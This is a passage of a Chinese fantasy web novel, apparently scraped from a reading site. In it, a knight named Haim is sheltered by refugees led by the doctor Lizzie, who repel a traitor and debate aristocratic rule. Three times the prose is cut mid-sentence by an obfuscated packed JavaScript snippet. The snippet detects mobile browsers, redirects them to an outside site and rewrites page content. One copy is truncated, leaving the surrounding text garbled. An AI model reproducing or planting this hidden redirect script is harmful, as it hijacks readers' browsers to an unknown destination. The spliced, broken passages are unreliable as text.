“我完全没想到这里的生活是这样的……”他咂巴了一下嘴,接着说:“虽然现在不会爆发魔兽潮了,但是还有魔兽吧。” “有的,不过泰西防线以处理废品为名,给了我们一批魔导器,而且还有煎饼保护我们。”她笑着拍了拍牛的背。 名叫煎饼的牛仿佛很赞同她的话,哞了一声后摇头晃脑起来。 “你们竟然可以驯养魔兽,我从未见过。” “不是的,不是我们驯养了魔兽,是地脉异化让我们驯养的马和牛发生了变异。这不是什么好事,变异的三只动物里只有煎饼保留了理智,另外几匹马都发了狂。”她解释道,言语间尽是惋惜。 “竟然是这样。”亚瑟惊讶地打量着驮着他们的庞然大物,也轻轻拍了下它的后背。 “那我们现在要去哪里?” “去找我们的医生,她也是我们的领袖,就是这个医生带大家逃出哈德莱伯爵的领地的……对了,竟然忘记了自我介绍,你可以叫我芙蕾雅。” “谢谢你芙蕾雅,我叫亚瑟。” 芙蕾雅很快带他们到了中间的一个帐篷,那里像是这里的医院,地上躺着不少伤患。 “莉齐老师?我发现了受伤的人。” “好的,芙蕾雅,我马上来。” 她说完不久,帘子被掀开,一位年轻的女士提着医药箱子走了出来。她黑眼圈很重,像是全然没有休息好,但那双橙黄的眼睛却格外有神。 亚瑟很惊讶,他听着女孩称呼老师,他还以为里面这人是位长辈,没想到看着比他和罗杰大不了几岁。 莉齐先给受伤最重的海姆处理伤口,还好泰西防线之前有送过医疗物资,海姆甚至能用上麻药。 “好深的伤口……不过万幸没有扎在要害上。” 在经过一些复杂的程序后,那位女士完成了海姆伤口的缝合,长舒一口气。 芙蕾雅帮她擦了擦汗,她消毒后立刻帮马克西姆处理起背上的箭伤。然后给自己做了包扎和缝合。 但她不是魔法师,对奥菲莉亚的魔力紊乱也束手无策,或许等海姆醒来有其他方法,亚瑟虔诚地祈祷着,希望大家都能快点痊愈。 等一切忙完后,莉齐才询问唯一清醒的亚瑟到底发生了什么事? 可怜的亚瑟只恨清醒的是自己,他怎么没有和罗杰互换。 “要给这位女士说实话吗?我们其实还在被追杀吧,要是说了实话,她们会不会立刻把我们丢出去?” 亚瑟有些为难,心里做着复杂的心里斗争,但他情绪全写脸上,察觉到事有隐情的莉齐眯着眼睛瞧着他。 “我们······我们其实也是逃难的人,路上被打劫了。”他憋了很久才说出了一个相当蹩脚的谎言。 “你的同伴腹部被刺伤,伤口切割非常利落,像是经过训练的人所为,不太像一般的打劫犯,而且哪里会有打劫犯来荒原打劫?另一个同伴受了箭伤,那种魔导器箭头可不是一般的抢劫犯能够拥有的东西,还有个魔力紊乱的小孩······还有一件事,小可怜,你还穿着泰西防线的制服呢?别说谎了,告诉我实话。” 亚瑟他们浑身都是破绽,他本人又不擅长说谎,被戳穿后眼神闪躲把头低了下去。 “你别害怕,我们对军人们没有恶意。”莉齐看着他笑了起来。 但是亚瑟仍然选择了沉默,莉齐只能叹了口气,嘱咐他们好好休息,和芙蕾雅一块儿离开了给他们临时搭建的帐篷。 等走到无人的地方,莉齐才开口: “这件事或许会比较麻烦。”她看着通向荒原的路口,目光满是担忧。 “我不明白老师,他们穿着制服,难道不是泰西防线的骑士吗?我们帮助他们理所应当,毕竟最开始没有他们的物资救济,可能会死很多人呢,上一个冬天可真难熬啊,等他们伤养好了就会离开,应该也不会损耗太多物资。” “他们中有人受了箭伤、有人被刺伤,那些伤口不是寻常斗殴,都是骑士造成的,如果他们是骑士,为何会与自己的战友互相残杀,我觉得泰西防线或许发生了不得了的事。”莉齐回头看向帐篷,忧心忡忡。 “那现在怎么办?” “先观察一段时间吧。”莉齐叹了口气。 而在第二天清晨,最先清醒的人是海姆,虽然他仍然动弹不了,但能保住性命已经万分庆幸。 亚瑟立刻将自己昨天的应对莉齐的情况如实告知。 海姆听后非常遗憾,要是能把昨天清醒的人换成罗杰就好了。 亚瑟虽然在遮掩身份上拼尽全力地考了个不及格,当然海姆知道不能全怪他,本来卷子本来也难,统一的制服、专业的伤口,想必对方也能看出一些端倪,没有完美的谎言不可能糊弄过去。 海姆稍作斟酌后,便让亚瑟去请那位医生进来,他要和医生莉齐交涉。 亚瑟离开后不久,他们的门帘很快被掀开,莉齐提着药箱进来了。海姆眼中难掩惊讶的神色,听亚瑟的描述,他原以为这位医生或许是位长者,没想到看上去十分年轻。 “很高兴您能这么快清醒,虽然伤到的不是要害,但是带伤在雪地奔袭一夜,冻伤、失血按理都需要更长时间恢复的。”她笑着说道。 海姆有些怀疑,这是否已经在隐晦地试探他们的经历,思索一会儿开口道: “我们同样感激各位的救治。”他微微颔首,但没有继续说下去,莉齐看出了他的戒备,不再绕弯子。 “您应该是泰西防线的骑士,无论是制服还是手上的茧都能证明,但各位为什么会落到这种境地,泰西防线到底发生了什么事?希望您能告诉我,我们这些流民要想活下去就必须对周围的环境有所了解。” “好,我可以说实话,您能让我和你们的领袖交谈一下吗?” 他话音刚落,莉齐就笑了起来。 “我看着就这么不像吗?”海姆短暂地愣了住了,见海姆露出这种表情,莉齐继续解释: “但确实是我带大家逃出哈德莱伯爵的领地的。” 海姆不由得在内心感叹,反思了自己的刻板想法。随后他便把泰西防线出了叛徒,他们遭遇的事告知了莉齐。 但他隐瞒了自己的身份,只说自己是执行任务侥幸逃脱的骑士,而另外的小孩子不过是不小心被牵连进行动的倒霉蛋。 他诚恳地向莉齐承诺,等自己的伤恢复一些后就带人离开,这样不会给流民带来麻烦。莉齐答应在他们离开时,可以送给他们一头驴子还有少许食物。 但很快事态就有了新的变化,叶夫根尼在返回的路上检查了留影石,发现自己所看见的画面竟然是幻觉,立刻折返回来搜寻海姆一行人,一路找到了流民的聚集点。他谎称其长官海姆意外受伤失踪,询问流民是否有救下泰西防线的战士,他们必有重谢。 “您说海姆长官失踪了?是防线的代理指挥官,是那个海姆长官吗?”莉齐的眼中难掩惊讶的神色。 “千真万确,行动总是出现意外的。”叶夫根尼诚恳地点了点头。 “如果我们遇到了海姆长官一定会救援的,但很可惜我们没有见过他,您瞧瞧外面的积雪都要把路淹了,别说救援其他人,我们最近甚至没有见过一个新来的流民。” 叶夫根尼打量着面色遗憾的莉齐,而莉齐也观察着叶夫根尼,他那双紫色的眼眸看上去如此温情脉脉,人们很难把这样一位面容温柔的美人和致命危险联系在一起。 “那如果您后续有遇到海姆长官,请务必联系泰西防线,我们会很感谢各位的。” “那是自然。” 叶夫根尼带着人离开了,莉齐看着他的背影脸色沉了下来,立刻让芙蕾雅和亚瑟去通知其他同伴做好有人袭击的准备。 如果受伤的这个人是海姆长官,那泰西防线可就不只是有一两个叛徒这么简单的事,海姆说他恢复后就会离开这里,而不是返回防线,那就说明防线出了大问题,叛徒只可能是比海姆更大的人物。 那刚才那个说海姆遇害的人就是在说谎,大概率是追杀到此的凶手,他估计不会善罢甘休。 莉齐拿着两只魔导器冲进了帐篷,罗杰和奥菲莉亚仍然没有清醒。 海姆见她一副如临大敌的模样便知道或许是叶夫根尼已经找过来了,流民们生存是如此困难,自己的身份疑点众多,要把自己交出去也并不奇怪。 好在他已经写好了一封书信,要求亚瑟在自己出事之后想尽办法送回南方,交到阿纳托利手里。 “莉齐小姐。” “海姆长官。” 海姆听到这个称呼,确信了自己的猜想,眨了眨眼睛,看着莉齐无比严肃的脸笑着安慰道: “莉齐小姐不用害怕,把我交出去就好,他们不会伤害这里的······” “我们绝对不会交您出去。我已经告诉那个紫色眼睛的人,我们从未见过您,但他一定还会来试探的,您现在受了伤,肯定没法用剑,这个给您。” 她说着,把枪型魔导器扔给了海姆。“这还是泰西防线最近送过来的新实验品呢。”她笑了笑。 海姆捧着魔导器,低着头,良久后才开口:“为什么?这明明会让你们的处境更加危险,你们为什么做这样的选择?” 莉齐的脸上头一次出现了有些失望的神色。 “难道我们选择反抗或者不妥协很奇怪吗?”她看海姆的眼神甚至有些不满。 “您觉得我们流民只是一群可怜虫?我们为了生存什么都可以做,什么都可以牺牲?什么都可以出卖?难道弱小的人就只配软弱丑恶的嘴脸?您是否有些太瞧不起人了?” 虽然是反问,她的语调仍然是平静的,但其中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146110|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内容却十分尖锐。 “泰西防线从去年我们到这里之后就一直将部分物资以作废的名义丢在聚集区附近,您或许记不清楚,但我们这里的每个人都记得,一共是176次废物处理,箱子上的单子会有处理决定者的签名,阿纳托利长官批准了64次,您批准了72次,斯捷潘批准了9次,娜塔莎批准了11次,奥尔加批准了20次。我们是无家可归、也身无长物,我们为生存殚精竭虑,但我们还不至于分不清善恶是非,对自己的恩人恩将仇报。” 海姆这才意识到自己话语中的潜意识带着傲慢的底色,他直接预设了莉齐他们会为了自身安全,果断地把自己的存在告知叶夫根尼。 他揣测流民会为了生存把自己交出去,因为这是最安全的选择,他甚至已经在心里提前理解他们的求生之举了。 看似大义凛然、善解人意,但这正如莉齐所言,何尝不是一种傲慢?预设了相对困难的人就会为了生存毫无原则和底线,仿佛美德只属于那些锦衣玉食、无需为生存奔波的人。 “他们只是遇到了困难,但绝不弱小。”海姆想道。 “抱歉,我为我刚才的话道歉,我只是很担心各位。”他诚恳地说。 “来找你的那个人是现在防线的监视官,公爵大人的心腹,但我怀疑他已经背叛了公爵,我现在没法回到防线,需要想其他办法联络我的长官阿纳托利。而且我非常担心一个问题,如果我在这里的话······” 他没有说完,箭矢已经从帘子中飞出。 海姆将背对着帘子的莉齐推开,立刻展开屏障,挡住了箭矢,他的魔力还没有完全恢复,屏障并不牢固。 “他们在这里!”杀手招呼着自己的同伴。 随后继续向海姆逼近,海姆拿着莉齐给他的魔导器打中了一个人,但他现在的状态不足以支持他再发动第二次攻击。 第二个杀手冲了过来,海姆的手移向床边,他的剑在那里。 “砰!” 一个银色的锤子飞来,杀手的注意力都在海姆身上,丝毫没有注意那位倒在一旁的女士,谁料她反手甩出这么一件东西,直接砸到了杀手的脸上,他鼻子顿时血流如注。 莉齐恶狠狠地盯着他,随后手里攥着另一把锤子扑了过来,直敲对方的脑门,那位熟悉远程射击的杀手还没来得及用魔导器就昏了过去。 海姆的目光震撼地在杀手和莉齐手中并不大的锤子间反复徘徊。 “你……” “我还是骨科医生。”她云淡风轻地说。 而在此时,昏迷已久的罗杰终于醒了,然后看着陌生的环境和地上的杀手。 “这是哪?我没死?这打哪儿来了?” 他环视房间试图寻找亚瑟,然后看到了海姆和一个陌生女性。 “长官,我们死了吗?” “暂时没有,不过说不定快了。” 海姆苦笑了一下,让罗杰立刻打开魔力探知,罗杰一探测便觉得大祸临头。有相当强大的魔力波动在逼近。 修长白皙的手指挑开粗布帘子,白色影子从帘子后慢悠悠地踱步而出,叶夫根尼笑着看向病床上的海姆,轻声道: “海姆长官,请和我一同返回泰西防线。” 海姆当然清楚,如果自己如果不配合他,将袭击的事情泄漏给他人,叶夫根尼一定不介意杀了在场的人灭口。 谁料莉齐的骨锤横在了海姆面前。 “我们不会让你带走海姆长官的,泰西防线的叛徒。” 叶夫根尼眉毛一抬,十分惊讶。 “我以为海姆长官您不会想要牵扯到无辜之人,一定会隐瞒好一些事情才对。那既然这样,我也没办法了。” 他抽出双剑,准备上前取这两人的性命。 “煎饼!冲!” 一道庞大的棕色影子撞破帘布,直冲叶夫根尼而来,他反应敏捷,闪身躲开牛角。银光一闪,一把铁锤抡了过来,他用双剑抵挡,轻盈地落在另了一边。 “牛?不,是魔兽?能听从指令的魔兽?” 叶夫根尼十分惊讶。 亚瑟和芙蕾雅跳下煎饼的背,挡在了伤者的面前,帐篷的布已经被煎饼扯开,叶夫根尼看到帐篷外已经围起了密密麻麻的人。 他们拿着铁锹、镰刀、锤子、草叉……连像样的武器都没有,人数虽然很多,但没有一个魔法师,也没有经过战斗的训练,这些人在叶夫根尼的眼中不过是草芥,毫无力量的流民不过是随波逐流的浮萍。 “等等……流民?” 他突然联想到了一些东西,勾起了嘴角。 对着海姆身前的莉齐开口: “这位女士确定不把海姆长官他们交给我吗?” “是的,我们绝不会出卖救命恩人。”她语气笃定,身边的众人虽然因为危险,握着武器的手都有些发抖,但没有退后。 “很好。” 他深深地看了海姆一眼,在众人的视线中退了出去,消失在夜色中。 莉齐正为危机短暂地解除长舒一口气,而海姆的脸色却难看得可怕。 他看着帐篷外那团浓得化不开的墨色,叶夫根尼竟然没有在这个时候动手,恐怕打起了更加危险的算盘。 77. 寻找出路 冬日清晨的寒气包裹着泰西防线外的每一个角落,北部荒原的枯草上都结出厚厚的霜来。 亚瑟罗杰已经准备踏上绕路返回南境的旅程。 “海姆长官,您真的不和我们走吗?” 亚瑟左手拿着装满食物的行李,另一只手杵着拐杖,忧心忡忡地盯着海姆。 “我不能走。”海姆看向远处,薄雾中泰西防线的轮廓。 “只要您和我们一起绕过荒原、穿过北部温迪山脉的原始森林就能抵达东区边缘,那里比这儿安全。”罗杰在一旁客观地陈述。 “叶夫根尼他不会放过您的,为什么不和我们一起按计划走呢?”亚瑟那棕溜溜的眼睛满是关切。 探路去东区这个计划是海姆提出的,让亚瑟、罗杰还有部分有战斗力的人员尝试穿过温迪山脉和荒原,找一条绕开泰西防线南下的小路。如果顺利,其他流民之后也会把这条路作为一条退路。 但临到出发时罗杰和亚瑟才发现海姆并没有在牛背上。 风拂过海姆有些凌乱的头发,那双湖蓝色的眼睛风平浪静的,仿佛对前途没有一点忧虑。他笑着回答了两个年轻人的问题: “如果我们都离开了,流民的处境将会非常危险。叶夫根尼一定会以流民劫持我们作为借口,鼓动伊莉雅给泰西防线下达清剿流民的命令,我需要留在这里斡旋。”他解释道,随后再次看向防线。 “而且,我的家在这里啊。” 亚瑟抿着嘴,说不出一句话,只是那担忧的眼神仍然牢牢粘在海姆身上。 “好了,快出发吧,找路线的任务就要看你们三人的了,到了东区,立刻用东区的通讯投影联络阿纳托利,别忘了把我的亲笔信转交给他。” “我们会的。” “等你们探明路线,芙蕾雅折返回来后,我们会第一时间送奥菲莉亚过来,希望她到时候已经醒过来了。” 海姆叹了口气。 “这条路无人开拓过,原始丛林和沼泽危机四伏,你们一定要小心……总之,风宁雪静,一路保重。” “您也保重!”亚瑟罗杰依依不舍地朝海姆招手,芙蕾雅轻轻拍了拍煎饼的背,示意它可以出发了。 送走了三位年轻人,海姆这才回到营地思考之后的对策。 他们的处境十分危险。叶夫根尼想要除掉海姆来离间伊莉雅和阿纳托利。但因为奥菲莉亚隐藏起的能力错过了可以无痕杀掉海姆的最佳时机。 “现在我被流民所救,叶夫根尼想来应该会将海姆的失踪归结为流民劫持,他无权调度骑士,应该只能在获得伊莉雅命令之后,打着解救的名号发起战斗然后趁乱杀了我,再借干涉流民问题和我的蹊跷死亡诱发阿纳托利的怀疑,离间他和伊莉雅……” 海姆正思索着,却听见一阵急促的脚步声,远处莉齐正飞快地跑了过来。 “醒了!那孩子终于醒了!” 喜悦的声音像是第一缕晨光,在这个灰雾笼罩的清晨添上了一分暖色。枝头的一只鸟闻声从林子蹿出,扑着翅膀飞向浅蓝的天。 …… 飞鸟的影子从奥菲莉亚蓝莹莹的眼里快速掠过,她坐在临时帐篷中,恍惚地看向远方。 她刚醒来就发现手已经被包扎好了,旁边还有位看上去很和善的女士。这女士向她简单解释了事情来龙去脉后,立刻飞身去寻海姆先生。 在奥菲莉亚知道所有人都平安无事的时候,她长舒了口气。 “太好了,我做到了。” 她低下头,看着自己被纱布包裹起来的手笑了起来。 “你在昏迷时梦到什么了?这么开心?” 熟悉的声音响起,奥菲莉亚抬头瞧见海姆正捧着少许浆果走了过来。 “海姆先生!”她笑盈盈地看着对方,但目光落到了对方腹部的绷带上,一想到海姆为了就她才被刺伤,不由得鼻子有些发酸。 “这是做什么?我们都没事,别哭,诺,吃点水果。” 他把小浆果递给了奥菲莉亚。 “你刚才还眉开眼笑的,我还以为你做什么好梦了呢,结果一见我就掉眼泪,这是什么道理?” “我是很开心都活下来了,但我很担心您受的伤……至于做梦,我确实梦到过去我小时候的事情了。” 她接过了海姆递过来的浆果。 “呵,还过去呢?小可爱,你现在也还小呢。不过我猜过去应该是很美好的一段记忆吧。” “其实也没有,我梦到了在孤儿院的那段日子,经常吃不饱,但找到姐姐之后就好了。” 她想到远在天边的莱安娜心情再次低落起来。海姆见自己提到了对方伤心事,连忙转移话题。 他联想到这孩子之前的幻术能力和感知天赋,便赶忙问道: “小家伙,你似乎有很厉害的感知天赋,你能制造幻象和预言吧?莱安娜主教收养你时,知道你有预言魔法的天赋吗?” “预言魔法?” 奥菲莉亚一头雾水,自己会的只是幻术,最多感知下大概的情绪,和预言有什么关系? 见她疑惑的样子,海姆继续解释: “是这样,我曾听一位有感知天赋的魔法师说过,他们通常都会擅长精神类的魔法,幻术就是典型。还有部分出类拔萃的人会拥有预言的魔法。我见到你施展幻术的能力了,相当厉害,所以猜……” “但感知当下的情绪和预知未来完全是不一样的事情吧?这原理有些说不通。”奥菲莉亚质疑着。 “我并不了解精神魔法的原理,只是我们防线的魔法师洛林,他感知天赋卓越,甚至能预言地脉的变化;哈雷皇帝时期的弗朗兹亲王同样感知天赋过人,他不仅能洞察人心,据说还能看透未来……” “听上去很厉害,但我做不到。您是急需用到这种能力吗?我目前只能制造一些幻像。我现在可能帮不上忙,但我可以试着去学的。” 她有些失落地看着海姆。 “不,你不用着急,你已经做的很好了,接下来的事就让我们这些大人来摆平吧。” 海姆朝她笑着,但内心无比担忧。叶夫根尼回去后一定会尝试把众人的失踪安在流民们的头上,最糟糕的情况就是伊莉雅同意叶夫根尼带兵清剿,叶夫根尼应该会用他的亲卫除掉自己,再攻击流民,挑拨伊莉雅和阿纳托利的关系。 “他应该做好了我一出现就立刻灭口的准备,如果我和那几个孩子一起离开,他又会以流民们藏匿我为借口对他们进行攻击,到时候一定得及时出现在防线骑士们的面前,防止冲突的发生。” 他思索着:“至于阿纳托利那边,希望亚瑟和罗杰那两个孩子能够平安抵达东区边缘,把信息带出去······” 他想到这两个孩子,亚瑟是贝拉家族的旁系,通过魔法试炼被选为了神官候补,但另一个孩子则有些奇怪,罗杰的魔法并不出色,按理参加统一的理论考核成为政务官更合适,但他为什么选择成为神侍呢?还要陪着被追杀的亚瑟一起留在异乡,会不会这孩子有点问题?想到此处,海姆开口道: “奥菲莉亚,我已经让亚瑟和罗杰他们绕路去东区了,但有件事我很在意。” “您说,海姆先生。” “他们俩不是远亲吧?但我总觉得罗杰对亚瑟有些过于照顾了,不仅和他一起留在泰西防线,还为了救他受伤了。” “其实他们俩感情很好的,无论亚瑟惹了什么麻烦,罗杰哥哥虽然骂骂咧咧,但一定会站在他那边的,毕竟亚瑟曾经救过他呢。” “亚瑟救过他?” “我听罗杰哥哥说过,亚瑟和他是在理论学习班里认识的,罗杰哥哥学习很好,所以当时在那个补习老师那里当助教赚生活费,亚瑟被家里人按着头来学习,老是迟到,做题错得也多……罗杰哥哥好像帮过他点名和作业,一来二去就认识了。后来罗杰哥哥去参加了地方政务员的统一考试,但是那年他没考好,正好家里也发生了一些事,反正在比较困难的时候,只有亚瑟帮了他,他们那时候只有几面之缘……” 奥菲莉亚一边回忆一边解释。 海姆没有说话,如果是年少时候的患难友情,那罗杰做出的一系列选择并不奇怪,他在心里也打消了几分对这个年轻人的怀疑。 那现在的当务之急就是让流民们做好疏散的准备,他们得应对叶夫根尼的行动。 但事情似乎没有海姆预想那样糟糕,很快叶夫根尼竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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海姆笑着抬眼看她,这个年轻的女士眼神让他想到了故乡的橡树,坚韧而厚重,像是不会动摇。 她深吸了口气,有些不满地开口: “您似乎有时候会用玩笑的口吻掩饰自己的感受,您急着先舍弃自己、装作对自己牺牲毫不在意,是不是这样就不会对他人的舍弃失望了?” 一向能言善辩的海姆此刻呼吸一滞,愣了好几秒钟后才开口: “但无论如何,无论各位心里是怎么想的,我们的选择只有一个不是吗?我自己决定回去的,不是可以避免很多麻烦吗?” 莉齐没有回答他,两人沉默良久后,莉齐才开口: “我们那天会一路送你。有很多人看着,叶夫根尼在防线外不会对你动手才对,但回到防线后你就得自己小心了,他肯定会立刻把你关起来,不让你和下属有接触,再找机会对你下手。” “我会努力活到亚瑟、罗杰和芙蕾雅报信成功的那天。”他再一次露出了标志性的笑容。 但莉齐神色并没有缓和。 “您不用勉强自己笑出来,我讨厌强颜欢笑,如果连喜怒哀乐都没法自由表达,那太痛苦了。” 海姆的笑容僵在了脸上,莉齐此刻的眼神十分沉重。 “莉齐小姐,我能冒昧地问一下您是何许人物吗?”海姆认真地盯着她,“您精通医术、洞察力惊人、待人接物张弛有度,领着这么多人在这片荒芜之地上活了下来,实在不像一位普通流民。” “海姆先生不会猜测我是什么落魄贵族吧?”她竟在此刻笑了起来,但那双眼里却带着些许不满。 “那可叫海姆先生失望了,难道平民就不能拥有这些品质了?”她反问的语气带着几分讥讽。 “我不是这个意思。” 莉齐也不继续为难他,开口解释:“我是一个彻头彻尾的平民百姓,我曾在圣都的一个贵族家里做最低级的杂役女佣,但耳濡目染下还是学了不少东西,后来我从圣都逃走了。” “逃走了?但从收入来说,圣都是个相当不错的地方吧,发生了什么?” “我那时应该就十三岁吧,对那些身着华服的人们还抱有不切实际的幻想,我憧憬着自己某天也能是他们中的一员。直到某天的宴会上,那家贵族的继承人找到了我,他夸赞我是女佣中最可爱的孩子,问我要不要参加一个名为‘黄金苹果’的游戏。” 海姆听到这个游戏的名字突然觉得背后一冷。 78. 毒树之果 “黄金苹果……” 海姆得思绪有些飘远,他回想起了在圣都摸爬滚打的那些日子。他是私生子、阿纳托利是人质,两个异类抱团取暖,遍尝了圣都的冷暖,见惯了贵族们的疯狂。 那些上等人们的游戏花样百出,‘黄金苹果’不过是其中之一,许多平民‘自愿’地在那些游戏中殒命,像是供人欣赏的烟花,在达成取悦他人的目的后转瞬即逝。 海姆收回了思绪,目光重新落到莉齐身上。 “她到底是如何活下来的?” 眼前的人像一株野草,她逃出了草菅人命的圣都,来到北地后又带领流民离开了哈德莱伯爵的领地,来到泰西防线的边境后又团结众人扛过了一个个难熬的冬季。像是没什么能打到她。 “这么看着我做什么?”莉齐眨了眨眼睛。“难道您觉得我很可怜?” “不,我觉得您很了不起。”海姆坦言道。 莉齐微微一笑,继续说了下去: “其实在得知游戏内容时,我就想拒绝。但哪里有拒绝的权利?”她叹了口气。 “那天宴会热闹非凡,人潮攒动、华灯璀璨,那些贵族们穿得如繁花锦簇,他们是全世界最端庄体面的人,但他们却像魔鬼一样围着我、笑着看我去死,我的性命只是那个夜晚寻常的调剂。”莉齐说着冷笑了一声。 “但我最恨的不是他们,是我自己。” 她握紧了拳头。 “我那时候太软弱了,竟然把被欺辱当作命运,生死一线时我竟然还在祈求女神、祈求那位折磨我的上等人的怜悯。我那时害怕得泪,但那上等人呵斥我,我便按照他的要求乖顺地笑了……多窝囊啊!我竟然连瞪他都没有做到!”她的手将桌沿攥紧。 “那金发贵族长着一张好看的面孔,却干着最残忍的事,我不知道他用什么办法,逼迫另一个女孩儿朝我扔飞刃。被伤害者、加害者都是他的玩具而已。但在我已经绝望了,全然放弃了的时候,那个手持飞刃的女孩反抗了,以一种惨烈的方式。” 莉齐的眼中闪着光,仿佛她再一次回到了那个时候,和记忆中的人对视。 “她拒绝不了那个人,也不想伤害我,最后她拿着刀扎向了自己,我记得她当时死死地盯着那个发起游戏的人,我在她眼里看见了愤怒,在我和她对视那刻,像是有什么东西被点燃。” 莉齐说完闭上了眼睛。 “原来愤怒是会传递的,从那刻起,我就像是从梦里醒了过来一样。我原本是想去看看她的,但靠近时,她朝我摇了摇头,那眼神像是在说快逃……” 听到此处的海姆,记忆已经全然被唤醒,他记得阿纳托利当时十分冲动地想要上前,被他拦住。那个白色的影子倒了下去,红色的血浸染了她的衣襟。 勇敢?愚蠢?疯狂……海姆第一次见这样的人,他确信这样的人绝不可能被摆布,她的意志全然属于她自己。 “我逃走了,辗转了许多地方,一路逃到北方,我做过很多工作,西区战场上的护理员、魔兽潮之后的收尸人、搬运工、裁缝……我学到了很多东西,犯了很多错误。兜兜转转我成了一位领主的医生,他待人和善,对下仁慈,我那种不切实际的期待又开始作祟,我甚至萌生了一种愚蠢的念头,是不是其实领主也分好坏?是不是只是圣都那些人坏得离谱?直到□□的到来。” □□三个字让室内的氛围变得更加沉重,海姆很清楚那段可怖的时光。受寒纪影响,北地作物产量下降,饿死的人不计其数。 莉齐:“我是那时候彻底明白的,那些上位者没有本质区别,难道因为这只老虎脾气温顺,就要忘记他本质上仍是吃人的野兽?” 她冷笑着继续说:“那时候领地内因为缺粮,饥饿让所有人都快发疯了,我向领主谏言打开安全粮仓。那本就是用于这种情况的救济粮。而且领主早在三年前提高谷物税就是为了应对这种情况。但他拒绝了,我不明白,于是集结起其他人潜入了那座围得和铁通一样的粮仓。您知道吗?里面一粒粮食都没有。” 莉齐的眼神变得阴沉,像是又一次在绝望之际站在了那座谷仓前,看着他们救命的希望早就被挥霍得空空如也,因愤怒和绝望浑身战栗。 “以救灾为名收集起来的粮食去了哪里?我们日夜劳作换不来一顿饱饭,他却拿着我们种的粮食去赚钱、去讨好上级、去挥霍。他平时的待人仁慈和善,但这并不妨碍他对领民的盘剥。” 莉齐说着叹了口气。 “他还干了很多恶事……总之我最后杀了他,然后逃到了这里。” 她说完笑着看向海姆,那双浅橙的眼里竟然闪烁着快慰,过去的记忆于她仿佛不是痛苦的枷锁而是成长的勋章。 海姆顿了一下开口道:“您比我想象得还要勇敢。” “勇敢谈不上,我和我的同伴们只是为了活命。” “未来会好起来的,大家总有一天不用再东躲西藏。”他笑着安慰。 “哦?海姆长官竟然这么乐观?” “阿纳托利长官如果能顺利从南方的乱局中活下来,并在之后成为领主,在他的领地上应该不会有那些事了。” 他说完却发现莉齐的神色并未缓和,反而蒙上了一层阴影。 莉齐:“您觉得阿纳托利长官一定会是一位好领主吗?或者说您觉得这世界上真的存在善良的贵族吗?” 海姆觉得她话里有话,但还是坦诚地应下。 “我相信阿纳托利。” 莉齐的眉毛皱了起来:“我说这话并非在质疑阿纳托利长官的品行。阿纳托利长官能成为爱民如子的领主,但他的孩子呢?他孩子的孩子呢?无论怎么教育,子女不可能全然按照父母的心意成长,哪怕有再多的人辅佐,最坏的可能性依然存在。” 她意味深长地看了海姆一眼:“所谓的君主贵族制度就是如此,将一切归于一人。您不觉得这种制度就像是一颗有毒的树吗?哪怕阿纳托利长官成为了这棵树上的例外,成了一颗无毒的果子,但谁能保证他未来不会腐烂?谁能保证他的子孙会像他一样?”她目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170778|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光如炬,语气格外冰冷。 “制度让一切成为他们的私产,他们拥有了至高的权力、无数财富、可以为所欲为的武装,此时倾听来自地面的声音从本该做的事变成了高高在上的仁慈和怜悯,而我们这些底层人只能祈祷他们道德高尚。寄希望于一颗畸形的书上结出好果子、期待一只不会吃人的老虎?我不认同这样的统治,这与统治者的品德无关。” 海姆惊讶地盯着她,良久都没有说话,莉齐这番言论已经不只是新奇和离经叛道了,简直闻所未闻! 当君主昏聩时,不乏有反对之声,架空操纵也好、取而代之也罢,大不敬的言论并不在少数,在皇权衰弱的当下屡见不鲜。但是海姆从听过‘否定君主贵族制’本身的言论,他未想过自古延续的君主和那些统治者竟是可以不必存在的! 过往历史中,那千百次流血斗争不过是贵族们你方唱罢我登场的戏剧:开国皇帝塞德里克、贤王斯尔夫、暴君哈雷、教皇维斯特利亚、疯王玛丽······王座上的人换了一批又一批,王座上坐的是贤王还是暴君,王座的存在都是压在人们脊梁上的大山,人们真的需要所谓的指引方向的统治者吗?为什么从没有质疑过王座存在的合理性呢? “您的发言还真是······”他有些语塞,似乎在组织合适的语言来形容这石破天惊的言论。 “大逆不道?”莉齐昂起下巴,笑盈盈地盯着对方那张有些晃神的脸。 “不,您让我大开眼界,十分······大胆的言论,您是位勇士。” 海姆点了点头,眼前这位年轻女士像一个开拓者,她打开了一扇大门,让他无意间瞥到了新世界的一隅,海姆这才意识到旧世界的秩序看似坚如磐石,却并非不可撼动。 “我不是勇士、也不是圣人,我只是一个想活命的普通人,受够了贵族们无休无止的盘剥。我和我的同伴们一无所有,但我们向往一个真正公平的世界。”她笑着说,眼里闪着光,像是在眺望未来那个理想乡。 “但您想好了要怎么做吗?虽说当下制度的确存在您所言的那些弊病,您要如何改变现状呢?贵族们有最好的武装、财富,他们狡猾残忍,善用各种规则和手段,与他们斗争必然要付出高昂的代价。” 